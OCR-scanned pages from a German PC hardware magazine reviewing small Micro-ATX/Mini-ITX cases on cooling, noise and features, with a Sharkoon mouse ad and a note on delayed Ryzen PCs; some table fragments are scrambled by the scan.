2,5-Zoll-Laufwerk kann ausgebaut werden. Der 
120-mm-Frontlüfter sorgt zwar für Frischluft im 
nnenraum, ein Propeller, der die verbrauchte 
Luft herausbefórdert, fehlt jedoch. 


Die Wabengitter-Elemente, durch die der Lüfter 
Frischluft ansaugt (Front) und durch die aufge- 
heizte Luft aus dem Gehàsue weicht (Deckel: 
Kamineffekt), sind optisch auffällig gestaltet. 
Eine wirkungsvolle Dämmung fehlt allerdings. 
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Einfach unschlagbar! 


Design-Puristen, die keine Abstriche bei den Features machen 
wollen, werden die Sharkoon SHARK ZONE M52 lieben! Die 
Gaming Maus mit ihrer gummierten Oberfläche in sattem 
Schwarz ist ein zeitloser Klassiker ohne Ecken und Kanten - die 
RGB-beleuchtete Unterseite sorgt effektvoll für die nötigen 
Highlights. Ihre symmetrische Form ist perfekt ergonomisch, 
leicht zugänglichen Seitentasten runden das Gesamtpaket ab. 


Im Inneren arbeitet ein leistungsstarker Avago ADNS-9800 
Laser-Sensor, der hochpräzise 8.200 DPI erreicht. In der intuitiven 
Gaming-Software kann die Empfindlichkeit stufenweise in 
100-DPI-Schritten individuell angepasst werden. Ebenso bequem 
lassen sich alle acht Tasten der M52 mit zahlreichen Multimedia- 
befehlen, X-Shot-Funktion sowie Makros in Echtzeit belegen. 


RGB 


ILLUMINATION 


SHARKOON SHARK ZONE | A warning for some, an adventure for you. www.sharkoon.de 
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Mit 46,4 Litern bietet der Big Block von LC-Power das größte Innen- 
raumvolumen aller getesteten Micro-ATX-Gehäuse und verfügt zu- 
sätzlich über ein Zwei-Kammer-System. In punkto Kühlung zieht das Ga- 
ming 977MB nur wenig Nutzen daraus, denn LC-Power verzichtet leider 
darauf, die ausreichend vorhandenen Lüfterplätze auch zu bestücken. 


mınc 
Wie das Inter-Tech TM-515 oder das LC-Power Gaming 977MB Big 
Block wird auch das Chieftec Gaming Cube ohne Lüfter verkauft. Dafür 
spendiert man dem mit ca. 50 Euro günstigen Gehäuse einen Klappme- 
chanismus zum öffnen, der den Komponenteneinbau sehr vereinfacht 
und der bei keinem anderen Testkandidaten zu finden ist. Während 
die Kühlung aufgrund fehlender Lüfter nur befriedigend ausfällt, 
überrascht der Gehäusewürfel mit einer noch akzeptablen Lautheit von 
2,3/2,5 Sone. 
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Der Laufwerkskäfig hat Platz für drei 
3,5/2,5-Zoll-HDDs/SSDs und kann entfernt 
werden, wenn man die an der Aussparung 

im Mainboard-Tray montierte 2,5-Zoll-Halte- 
rungen nutzen will. Ein Hecklüfter indes fehlt. 


Große Kabeldurchführungen ermöglichen 
eine ordentliche und einfache Verlegung der 
Strippen. Die werden vom Netzteil in der 
unteren Kammer zur oberen geleitet. Der 
Staubschutz für das Seitenteil ist magnetisch. 


Das Alleinstellungsmerkmal des Chieftec-Ge- 
häuses ist der Klappmechanismus im Bild, 
der den Einbau von Board und CPU beson- 
ders einfach macht. Die Lüfterplätze bleiben 
im Auslieferungszustand allerdings unbelegt. 


Beim Gaming Cube СІ-01В-ОР spart Chieftec 
nicht an Laufwerkshalterungen. Bei Netzteilen 
mit mehr als 14,5 cm Länge muss der rechte 
Steg des 3,5/2,5-Zoll-Laufwerkskäfigs für 
eine gute Kabelverlegung demontiert werden. 


det man auch im 36 Liter fassenden 
Einkammer-Inneraum des Jonsbo 
VR2 wieder. Um den Kamineffekt 
für die Kühlleistung auszunutzen, 
montiert Jonsbo zwei 120-mm-Lüf- 
ter an den mit einem Staubfilter ver- 
sehenen Boden sowie ein weiteres 
Modell oben rechts unter den De- 
ckel. Letztgenannter ist dafür ver- 
antwortlich, dass die aufgewärmte 
Luft wieder aus dem durch seine 
beiden Glas-Seitenteile ordentlich 
gedämmten VR2 (Lautheit: 2,1/2,3) 
herausbefördert wird. 


Eine weitere Besonderheit des 
Jonbo VR2: Die Platine wird um 
90° Grad gedreht eingebaut, so 
dass sich deren I/O-Bereich oben 
unter dem Deckel befindet. Das 
hat einerseits zur Folge, dass für 
das Anschliefsen aller Kabel sowie 
den Einbau des ATX-Netzteils der 
Deckel entfernt werden muss. An- 
dererseits wirkt sich die geänderte 
Position der Platine und der paral- 
lel zum Lüfter der GTX 1070 einge- 
baute Stromgeber negativ auf die 
Kühleigenschaften und somit auf 
die Bewertung der Leistung aus. 
Während der Innenraum und die 
CPU mit 42? C, respektive 74? C, or- 
dentlich gekühlt werden, leidet die 
Grafikkarte an Frischluftmagel, da 
sich ihr Axiallüfter zu nah am Netz- 
teil befindet. Eine GPU-Temperatur 
von 82? C sowie das Heruntertak- 
ten der Karte sind die Folgen, die 
letztendlich für den grofsen Noten- 
abstand zwischen dem VR2 und 
dem Defne Mini C sorgen. 
corsair Carbide Air 240: Optisch 
ansprechender Gehäusewürfel mit 
guter Kühlung aber lauten Lüftern. 
Das Carbide Air 240 ist das kleinste 
Modell aus Corsairs Carbide-Air- 
Gehäusereihe, die für einen hohen 
Luftdurchsatz auf ein Zweikam- 
merdesign im Innenraum sowie 
eine thermisch durchdachte Plat- 
zierung der Lüfter setzen. So findet 
man auch im Carbide Air sehr viele 
Montageplätze für Lüfter/WaKü-Ra- 
diatoren (Details siehe Testtabelle). 
Zur für ein Mini-Gehäuse ordent- 
lichen Ausstattung gehören aber 
auch zwei demontierbare Käfige, in 
denen drei 3,5-Zoll-HDDs und drei 
2,5-Zoll-SSDs/HHDs werkzeuglos 
befestigt werden können (siehe ers- 
ter Extrakasten links). Dazu kom- 
men Extras wie das Seitenfenster, 
Aussparungen für Kabeldurchfüh- 
rungen, ein magnetischer Staub- 
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Die Ryzen-PCs 
kommen später 


Obwohl AMDs neue Ryzen-CPUs schon seit Anfang März verfügbar sind, lassen ent- 
sprechende PCGH-PCs noch auf sich warten. Wir erklären die Hintergründe. 


E 


igentlich wollten wir Ihnen spätestens in 
dieser Ausgabe PCGH-PCs mit AMDs 
neuer CPU-Architektur präsentieren und eine 
Alternative zu den vielen Intel-PCs bieten. Da 
sowohl Alternate als auch PCGH jeden PC vor 
der Serienfertigung auf Herz und Nieren prüft 
und es dabei noch zu Problemen gekommen 
ist, verzögert sich der Start. Verfügbarkeits- 
probleme bei Mainboards und teilweise auch 
bei den CPUs verschärften die Situation zu- 
sätzlich. Dennoch wollen wir zwei Ryzen-PCs 


Info: Bei den PCGH 


ANZEIGE 


-PCs werden nur 


Á n und 
ge tail-Komponenter | 
E ut, um eine 


drigen 


g 
EM-Produkte verbaut 
Qualität und einen nie! 


Lärmpegel zu gewährleisten. 


zumindest ankündigen. Demnächst wird es 
also einen Gaming-PC mit dem Ryzen 7 1700 
sowie einer Geforce GTX 1070 geben und 
ein Flaggschiff mit dem Ryzen 7 1800X und 
der ebenfalls brandneuen Geforce GTX 1080 
Ti. Da wir nur ungerne eine GTX 1080 Ti im 
Referenzdesign verbauen möchten und die 
Partnerdesigns mehr zu bieten haben, lohnt 
sich das Warten auch aus Grafikkartensicht. 
Der i7-6800K-PC bekommt übrigens auch ein 


Update mit der GTX 1080 Ti. 


(dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


Ryzen-Edition 
Alternate (www.pcgh.de/alternate) 


GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Extreme-PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Epic-PC 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/ryzen1700-pc 


www.pcgh.de/highend-v2-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/epic1080ti-pc 


www.pcgh.de/ryzen1800x-pc 


| Ausstattung ` —-———" —— nn ne nun 1——— ue — 
Prozessor AMD Ryzen 7 1700 Intel Core i5-7600K (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) |Intel Core i7-6800K (Sockel 2011-3) AMD Ryzen 7 1800X 
Grafikkarte Asus Geforce GTX 1070 Dual Asus GTX 1070 Strix OC Gaming Asus GTX 1080 Strix Advanced Asus Geforce GTX 1080 Ti Strix Asus Geforce GTX 1080 Ti Strix 
Mainboard steht noch nicht fest Asus Prime Z270-P Asus Prime 2270-А Asus Strix X99 Gaming Asus Crosshair VI Hero 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


1TB + 512 GB M.2 (Crucial/Samsung) 


1 TB + 512 GB M.2 (Crucial/Samsung) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


3.000-GB-HDD (WD Red) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 
Netzteil Be quiet Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler Scythe Mugen 5 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition 
Gehäuse Sharkoon M25-V Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Geháuselüfter/Sonstiges 
Leistung 
Lautstárke 2D (0,5 m) 


Lautstárke 3D (0,5 m) 


Leistungsaufnahme 2D/3D 


3D Mark (Fire Strike) 


Crysis 3/The Witcher 3 


Stalker: Call of Pripyat 


Aliens vs Predator Bench. 


2 x Lüfter, WLAN-Karte 


Tests folgen 


3 x Lüfter, WLAN-Karte 


0,3 Sone/22 dB(A) 


3 x Lüfter, WLAN-Karte 


0,2 Sone/21 dB(A) 


0,7 Sone/27 dB(A) 


1,0 Sone/30 dB(A) 


36 Watt/240 Watt 43 Watt/289 Watt 
4.429 (U), 7.982 (E), 14.479 (S) 5.378 (U), 10.025 (E), 18.505 (S) 
82 Fps/68 Fps 100 Fps/84 Fps 


192 Fps (Sun Shafts, Ultra, 4x AA) 


228 Fps (Sun Shafts, Ultra, 4x AA) 


245 Fps (1.920 x 1.080) 


307 Fps (1.920 x 1.080) 


3 x Fractal-Lüfter, WLAN onboard 


Tests folgen 


3 x Fractal-Lüfter, WLAN onboard 


Tests folgen 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 7,63 Punkte 10,88 Punkte 
PREIS | à 7 А 
nicht verfügbar - - nicht verfügbar nicht verfügbar 
ohne Betriebssystem* д €1 .699, €2.149, J 0 
PREIS nicht verfügbar €1 ‚799, - € 1 :249,- nicht verfügbar nicht verfügbar 


Alle Komponenten unter Vorbehalt, 
Bauteile können sich noch ändern. 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


Alle Komponenten unter Vorbehalt, 
Bauteile können sich noch ändern. 


Alle Komponenten unter Vorbehalt, 
Bauteile können sich noch ändern. 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 22.03.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 
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schutz für das Seitenteil sowie ein 
System zur Befestigung von Steck- 
karten - das resultiert in der zweit- 
besten Ausstattungsnote. 


Das Kühlkonzept des Corsair Car- 
bide Air 240, bei dem die beiden 
120-mm-Lüfter viel Frischluft durch 
die Wabengitterfront in den Innen- 
raum befórdern und bei dem der 
dritte Propeller die Abluft durch 
den ebenfalls mit Mesh-Elementen 
bestückten Deckel herauspustet, 
geht voll auf. Mit Messwerten von 
68° C (CPU), 75° C (GPU) und 30° C 
(Innenraum) würde sich das Carbi- 
de Air 240 direkt hinter dem Fractal 
Design Define Mini C platzieren - 
wenn da nicht die mit 3,1/3,0 Sone 
hohe Lautheit wäre. Dank der offe- 
nen Bauweise, bei der viel Lüfter- 
geräusch aus dem Gehäusewürfel 
dringt, ist nur der dritte Platz drin. 


LC-Power 977MB Big Block: Viel Platz 
aber Probleme bei der Kühlung ohne 
Lüfter. Bei dem mit einem Fenster 
im Seitenteil bestückten 977MB Big 
Block von LC-Power ist der Name 
Programm. Das Volumen des Innen- 
raums, der durch die Platinenhalte- 
rung zweigeteilt wird (horizontales 
Zweikammersystem), fällt mit 46,4 
Litern sehr hoch aus. Das erleichtert 
zum einen den Einbau der Kompo- 
nenten, da sich der demontierbare 
Käfig für drei 3,5/2,5-Zoll-Laufwerke 
und das Netzteil in der unteren 
Kammer befinden und sich die 
Kabel einfach durch zwei große 


Inter-Tech TM-515 


Öffnungen im Mainboard-Tray füh- 
ren lassen. Zum anderen stehen, 
neben einer weiteren Halterung 
für zwei 2,5-Zoll-SSDs/HDDs, viele 
Lüfterplätze bereit: Der Deckel des 
977MB Big Block kann wahlweise 
mit einem 200-mm- oder 140-mm- 
Lüfter bestückt werden, die Front 
bietet Platz für ein weiteres 200-mm- 
Modell (Alternativ: 2x 140 mm) und 
an das Heck lassen sich zwei weitere 
140/120-mm-Propeller anbringen. 


Während Dinge wie ein magneti- 
scher Staubfilter (Seitenteil), eine 
werkzeuglose | Laufwerksbefesti- 
gung oder die gute Entkopplung 
der Laufwerke auf der Ausstat- 
tungsliste des 977MB Big Block 
stehen, muss der Käufer trotz eines 
Preises von 75 Euro auf jegliche 
Lüfter verzichten. Diese sollte man 
aber nachrüsten, weil der fehlende 
Luftaustausch sich bei den Tem- 
peraturen bemerkbar macht. Wir 
messen 77,0° C (CPU), 50,6° C (In- 
nenraum) sowie 82,0° C bei der 
GPU, die sich heruntertaktet. Eine 
Lautheit von 2,2/2,4 Sone geht da- 
gegen für ein ungedämmtes Gehäu- 
se ohne Lüfter noch in Ordnung. 


Chieftec Gaming Cube CI-01B-OP: 
Spartipp, auch noch mit zugekauften 
Lüftern. Chieftecs Gaming Cube (CI- 
01B-OP), zu dessen wichtigsten Aus- 
stattungmerkmalen ein Zweikam- 
mersystem (horizontal) sowie ein 
den Hardware-Einbau sehr erleich- 
ternder Klappmechanismus für den 


Deckel (s. Kasten vorherige Seite) 
gehören, ist das zweite Gehäuse im 
Test, das ohne Lüfter ausgeliefert 
wird. Dabei stünden am Heck, im 
Deckel und an der Front Montage- 
plätze für je ein 120-mm-Modell be- 
reit. Dazu kommt eine für ein Micro- 
ATX-Modell ausreichende Zahl an 
Halterungen für die werkzeuglose 
Montage von Laufwerken (1 x 5,25 
Zoll, 1x 3,5 Zoll, 2 x 3,5/2,5 Zoll, 3 
x 2,5 Zoll), die zusätzlich über eine 
sehr gute Entkopplung verfügen 
und teils entfernbar sind. Bei Ein- 
bau eines Netzteils mit mehr als 15 
cm Länge muss beispielsweise der 
linke Steg des 3,5/2,5-Zoll-Kombikä- 
figs für die Kabelverlegung ausge- 
baut werden. Insgesamt ist die Aus- 
stattung dem günstigen Preis von 50 
Euro angemessen. 


Wie unsere Temperaturtests zeigen, 
tut sich Chieftec keinen Gefallen 
damit, die Lüfterbestückung dem 
Kunden zu überlassen. Wie beim 
977MB Big Block liegt die CPU- 
Temperatur beim Gaming Cube bei 
77° C (Innenraum: 53° С) und die 
GPU taktet sich bei 82° C auf 1.645 
MHz herunter (2.470 U/min). Unser 
Tipp: Bestücken Sie die Front und 
das Heck zum Beispiel mit dem ca. 9 
Euro günstigen Scythe Glide Stream 
120 PWM SC. Das sorgt nicht nur 
für niedrigere Temperaturen bei 
den Komponenten. Die mit 2,3/2,5 
Sone akzeptable Lautheit sollte auch 
durch die leisen 120-mm-Scythe-Lüf- 
ter nicht groß ansteigen. 


Silverstone Sugo SG11: Wenig Plastik 
aber auch wenig Lüfterplätze. Wie 
von Silverstone gewohnt, überzeugt 
auch das Sugo SG11 mit einer wer- 
tigen Bauweise, bei der lediglich 
die Front aus Plastik besteht. Dank 
seiner länglichen Form nimmt das 
Sugo SG11 zwar Grafikkarten mit 
fast 37 cm Länge auf, für den Prozes- 
sor bleit jedoch nur eine maximale 
Kühlerhöhe von 8,2 cm, weil das 
Netzteil oberhalb des CPU-Kühlers 
eingebaut wird. Achten Sie bei Ein- 
bau des Stromgebers für einen ver- 
besserten Luftstrom also unbedingt 
darauf, dass der Netzteillüfter Rich- 
tung Gehäusedeckel zeigt. 


Generell ist in dem nur rund 22 Li- 
ter großen Innenraum wenig Platz, 
zumal zur Sonderausstattung des 
SG11 noch eine spezielle Befes- 
tigung für sieben 2,5-Zoll-HDDs/ 
SDDs gehört, die sich entfernen 
lässt und die vor dem ebenfalls 
demontierbaren 3,5/2,5-Zoll-Lauf- 
werkskäfig positioniert ist. Des Wei- 
teren findet man auf der Oberseite 
des 5,25-Zoll-Einbauschachts noch 
zwei Anschraubmöglichkeiten für 
2,5-Zoll-SSDs/HDDs. Dem engen 
Innenraum ist es auch geschuldet, 
dass neben dem mitgelieferten 
120-mm-Lüfter nur noch zwei Mon- 
tageplätze für je ein 80-mm-Modell 
bereitstehen, die Silberstone nicht 
bestückt. Dabei zeigt sich auch beim 
Sugo SG11 wieder, wie wichtig eine 
ordentliche Lüfterbestückung in 
Gehäuse mit kleinem Innenraum 


Mit einem Preis von 40 Euro ist Inter-Techs TM-515 das günstigste Gehäuse im Test. Dafür fällt die Ausstattung puristisch aus. Die Zahl der Laufwerkshal- 
terungen ist überschaubar, Staubfilter fehlen und die zwei Lüftern die für eine verbesserte Kühlung dringend eingebaut werden sollten, fehlen ebenfalls. 
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Lediglich zwei Montageplätze (1 x 80 mm/1 
x 92 mm), für die die Lüfter nicht mitgeliefert 
werden, stehen zu Verfügung. Gerade die 
GPU, die sich bei 86° C heruntertaktet, hätte 
einen besseren Luftstrom vertragen können. 


Wie bei vielen Testkandidaten, lässt sich auch 
beim TM-515 die Halterung für zwei 3,5-Zoll-/ 
ein 2,5-Zoll-Laufwerk ausbauen. Die Schrau- 
ben für die Befestigung von SSDs/HDDs befin- 
den sich seitlich am zweiten Laufwerkskäfig. 


www.pcgameshardware.de 
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ist. Wir messen je 78° C bei der CPU 
und der GPU (leichte Taktredukti- 
on auf 1.823 MHz) sowie 59° C für 
den Inneraum. Beim Einsatz eines 


Hecklüfters würden auch hier 
Temperaturen noch sinken. 


Inter-Tech TM-515: Ausstattungspu- 
rist mit Kühlschwächen. Intertechs 
Mini-Tower für Micro-ATX-/Mini- 


die 


ITX-Platinen ist zwar das günstigste 
Modell im Test, doch der Blick auf 
die magere Ausstattung erklärt klar 
den geringen Preis. Während das 
TM-515 mit einem Einbauschacht 
für zwei optische Laufwerke, einem 
Käfig für zwei 3,5/2,5-Zoll-Speiche- 
medien und einer abnehmbaren 
Halterung für zwei weitere 2,5-Zoll- 
Laufwerke noch ordentlich da steht, 


sind zwei Lüfterplätze (Front: 80 
mm/Heck: 92/80 mm) zu wenig, 
zumal auch Inter-Tech die Ausliefe- 
rung ohne Lüfter vorzieht. Zu den 
wenigen Extras, die das TM-515 bie- 
tet, gehören nur noch der schlichte 
Staubschutz an der Front, die inter- 
ne Halterung für Laufwerksbefes- 
tigungsschrauben sowie die gute 
HDD-Entkoppelung. 


Bei unseren Messungen sorgen die 
fehlenden Lüfter dafür, dass es im 
Innenraum warm wird. Das belegen 
78° C CPU- und 49° C Innenraum- 
temperatur sowie die Grafikkarte 
die bei 86° C den Takt auf 1.759 Mhz 
drosselt und die Lüfterdrehzahl auf 
2.605 U/min anhebt. Eine Lautheit 
von 2,3/2,7 ohne Lüfter kann dage- 
gen als positiv betrachtet werden. 


MICRO-ATX-/ 
MINI-ITX-GEHÄUSE 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Hersteller (Webseite) 


( em — 
Fractal Design 
Нагйшаге 


Define Mini С 


Fractal Design (www.fractal-Design.com) 


Jonsbo (www.jonsbo.com) 


Carbide Air 240 


Corsair (www.corsair.com) 


Gaming 977MB Big Block 


LC-Power (www.lc-power.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1530279 


www.pcgh.de/preis/1546945 


www.pcgh.de/preis/1126008 


www.pcgh.de/preis/1351165 


Preis/Preis-Leistungs-Verhältnis (getes- 
tete Version) 


Ca. € 75,-/gut 
(kein Seitenfenster/gedämmt) 


Ca. € 110,-/befriedigend 
(beide Seitenteile aus Glas/keine Dämmung) 


Ca. € 95,-/befriedigend bis gut 
(Seitenfenster, keine Dämmung) 


Ca. € 75,-/befriedigend 
(Seitenfenster/keine Dämmung) 


Version ohne Fenster/ohne Dammung 


Ca. € 65,-/nicht vorhanden 


Nicht vorhanden/ca. € 110,- 


Nicht vorhanden/nicht vorhanden 


Nicht vorhanden/nicht vorhanden 


mm/3 x 120 mm, Heck: 1 x 120 mm, Seite:-, 
Boden: 1 x 120 mm 


Boden: 2 x 120 mm 


Ausstattung (20 %) 3,98 4,34 4,09 4,74 

Plätze für Laufwerke 2 x 3,5/2,5 Zoll, 3 x 2,5 Zoll 1x 3,5 Zoll, 4 x 2,5 Zoll 3x3,5 Zoll, 3 x 2,5 Zoll 1x 5,25 Zoll, 3 x 3,5/2,5 Zoll, 2 x 2,5 Zoll 
Erweiterungs-Slots (Blende) Fünf Vier Vier Vier 

Handbuch Sehr ausführlich Sehr ausführlich Einfaches Faltblatt Nicht vorhanden 

Lüfterplátze Deckel: 2 x 140/120 mm, Front: 2 x 140 Deckel: 1 x 120 mm, Front:-, Heck:-, Seite:-, | Deckel: 2 x 120 mm, Front: 2 x 120 mm, Deckel: 1 x 200/140 mm, Front: x 200 mm 


Heck: 2 x 80 mm, Seite: 1 x 120 mm, Boden: 
2x 120mm 


oder 2 x 140/20 mm, Heck: 2 x 140/20 mm, 
Seite:-, Boden:- 


Vorhandene Lüfter 


1x 120 mm (Front), 1 x 120 mm (Heck) 


1x 120 mm (Deckel, entspricht Heck), 2 x 
120 mm (Boden, entspricht Front) 


2x 120 mm (Front), 1 x 120 mm (Deckel 
hinten) 


Keine 


Frontanschlüsse 


2 x USB 3.0, Audio 


2 x USB 3.0, Audio 


2 x USB 3.0, Audio 


2 x USB 3.0, 1 x USB 2.0, Audio 


Besonderheiten 


Dámmung enthalten, magnetischer Staub- 
schutz-Deckel, SSD-Montage auf Rückseite 
der Mainboard-Halterung, ModuVent-Belüf- 
tungssystem (Deckel wird ausgebaut), Netz- 
teil-Geháuse, Staubschutz an Front und Bo- 
den, Kabeführungssystem (Klettverschlüsse) 


Seitenteile aus Glas, Frontbeleuchtung, 
SSD-Montage auf Rückseite der Main- 
board-Halterung, Spezialhaltertung für zwei 
2,5-Zoll-Laufwerke sowie ein 3,5-Zoll-Lauf- 
werk, spezielles Belüftungssystem (Platine 
wird um 90 Grad gedreht), Staubschutz 

am Boden 


Seitenfenster, magnetischer Staubschutz für 
Seitenteil, werkzeuglose Laufwerksbefesti- 
gung, System für Steckkartenbefestigung, 
Netzteilkammer, Staubschutz an Front und 
Boden 


Seitenfenster, Zwei-Kammer-System, 
Wakü-Schlauchausgänge, werkzeuglose Lauf- 
werksbefestigung, Magnetischer Staubschutz 
Seitenteil (Netzteil), Staubschutz am Boden 


Nerwindungssteifheit 


Eigenschaften (20 %) 1,84 1,90 2,00 2,03 

Material (nicht gewertet) Stahl und Kunststoff Glas und Aluminium Stahl und Kunststoff Stahl und Kunststoff 

Gewicht (Nicht gewertet) 6,9 kg 9,0 kg 5,6 kg 6,5 kg 

Abmessungen (H x B x T)/Volumen 49,0 x 25,0 x 42,3 cm/35,7 Liter 40,0 x 23,8 x 38,7 cm/36,0 Liter 32,0 x 26,0 x 39,7 cm/33,0 Liter 43,3 x 28,0 x 38,3 cm/46,4 Liter 
Platz für Grafikkarte/CPU-Kühler 33,5,/17,0 cm 29,0/12,0 cm 29,0/12,0 cm 33,0/17,5 cm 

Verarbeitung allgemein/Schnittkanten Sehr gut/sehr gut/sehr gut Sehr gut/sehr gut/sehr gut Sehr gut/gut/sehr gut Gut/gut/gut 


Zusammenbau * 


Sehr gut: Da das Netzeil sowie die 
3,5/2,5-Zoll-Laufwerkshalterungen unter 
einer Abdeckeung liegen und die 2,5-Zol 
HDDs/SSDs an der Rückseite der Mainboard- 
halterung befestigt werden, ist sehr viel Platz 
ür den Einbau von Board, GPU und ggf. 
Wakü-Radiatoren vorhanden. 


Sehr gut: Durch die Drehung des Boards um 
90 Grad, die Laufwerkshalterungen auf der 
Rückseite des Mainboard-Trays und das hoch- 
kant eingebaute Netzteil ist sehr viel Einbau- 
platz vorhanden. Für den Netzteileinbau muss 
jedoch der Deckel entfernt werden. 


Sehr gut: Zwei getrennte Kammern für das 
Netzteil und die Platine. Beide Laufwerks- 
käfige lassen sich bei Bedarf, beispielsweise 
beim Einsatz einer M.2-SSD demontieren 


Sehr gut: Das Zweikammersystem, bei dem 
der Laufwerkskäfig und das Netzteil unter- 
halb der Mainbordhalterung positioniert sind, 
bietet viel Platz für den Einbau der Platine 
und Grafikkarte. Der Deckel muss dafür nicht 
entfernt werden. 


Besonderheiten beim Zusammenbau 


Festplattenkäfig herausnehmbar und Lauf- 
werkshalterungen auf der Rückseite demon- 
tierbar, Hecklüfter für WaKü verschiebbar, 
Aussparung unter dem Sockel, Aussparung 
ür Kabeldurchführungen und Kabelmanage- 
ment auf der Rückseite, sehr gute Entkoppe- 
ung der HDDs 


Aussparung hinter dem Sockel, Aussparung 
für Kabeldurchführungen, sehr gute Entkop- 
pelung der HDDs 


Laufwerkshalterungen demontierbar, 
3,5-Zoll-Festplatten von außen zugänglich, 
separate Kammer für die Platine, Aussparung 
für Kabeldurchführungen, sehr gute Entkop- 
pelung der HDDs 


Festplattenkäfig herausnehmbar, separate 
Kammer für die Platine, Aussparung unter 
dem Sockel, Aussparung für Kabeldurchfüh- 
rungen, sehr gute Entkoppelung der HDDs 


Praxisprobleme 


Keine Probleme 


Für den Netzteileinbau muss der Deckel ent- 
fernt werden, Mainboardanschlüsse befinden 
sich oben unter einer Blende 


Keine Probleme 


Keine Probleme 


* System: Intel Core i7-6700K, Intel 7170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


www.pcgameshardware.de 
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Kompatibilitätstest Extended-, XL-ATX und ATX passen nicht Extended-, XL-ATX und ATX passen nicht Extended-, XL-ATX und ATX passen nicht Extended und XL-ATX passen nicht 
Leistung (60 %) 2,49 3,16 3,27 3,41 
Temperatur CPU 68° С 74° С 68° С ZE 
Temperatur GPU (Lüfterumdrehzahl/Takt) | 72° C (2.120 U/min/1.835 MHz) 82° C (2.465 U/min/1.797 MHz) 75° C (2.226 U/min/1.835 MHz) 82° C (2.459 U/min/1.721 MHz) 
Temperatur Innenraum Gehàuse/M.2-SSD | 49° C/58° C 42° C/64° C 30° C/59° C 50,6° С/61° C 
Lautheit der Lüfter, 50 cm Abstand fron- | 1,6/1,7 Sone 2,1/2,2 Sone 3,1/3,0 Sone 2,4/2,2 Sone 
tal/schräg vorne (45-Grad-Winkel) 
OA g: Dà g und © g ged © Temp d © 0 der D g 
© g CPU/GPU (keine Taktse g +) D gd OA g p b g © g 
FAZIT ЛЛК Z 
e q DO e q e q H e q SCH 
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Enermax Steelwing Dynamic Red: 
Optisch beeindruckend, edel gefer- 
tigt, aber mit zu lautem Lüfter be- 
stückt. Das optisch interessanteste 
Gehäuse dieser Marktübersicht ist 
Enermax' Steelwing Dynamic Red. 
Mit seinem Chassis, den angedeute- 
ten Kühlrippen aus Alu sowie dem 
gläsernen Seitenteil fällt hier die 
Fertigung besonders hochwertig aus. 
Im Gegenzug verfügt das sogar für Mi- 
cro-ATX-Platinen geeignete Designer- 
stück mit nur 20 Litern Volumen über 


den kleinste Innenraum aller getes- 
teten Gehäuse. Dass man hier ledig- 
lich eine entfernbare Halterung für 
zwei 3,5-Zoll-HDDs und ein 2,5-Zoll- 
Laufwerk findet, ist verständlich. Die 
Tatsache, dass nur ein alternativ auch 
mit einer 3,5-Zoll-HDD bestückbarer 
Lüfterplatz vorhanden ist, wundert 
bei der sehr kompakten Bauweise 
des Steelwing Dynamic Red eben- 
falls nicht. Für weitere Enge, die 
sich gerade beim Hardware-Einbau 
bemerkbar macht, sorgt die Monta- 


ge des SFX-Netzteils oberhalb des 
CPU-Kühlers. 


Während die Kombination aus dem 
120-mm-Frontlüfter und einem lüf- 
terloser Abzug auf der Oberseite 
des Steelwing die CPU mit 76? C (In- 
nenraum: 37? C) ordentlich kühlt, 
wird die GPU mit 80? C wärmer und 
drosselt den Takt leicht auf 1.810 
MHz. Für weitere Abzüge bei der 
Leistungsnote sorgt die unüberhór- 
bare Lautheit von 3,5/3,5 Sone. (fs) 


Fazit Нагйшаге 


Micro-ATX-/Mini-ITX-Gehäuse 

Der Testsieger, Fractal Designs Define 
Mini С, kombiniert eine gute Kühlung mit 
einer niedrigen Lautheit. Das Jonsbo VR2 
und Corsiar Carbide Air 240 eignen sich 
ebenfalls für den Aufbau eines Spiele-Mi- 
nis, zeigen aber leichte Schwächen, die 
korrigierbar sind. Bei den lüfterlosen 
Modellen setzt sich Chieftecs günstiger 
Gaming Cube durch, dem Sie beim Kauf 
noch zwei Lüfter spendieren sollten. 


MICRO-ATX-/ 
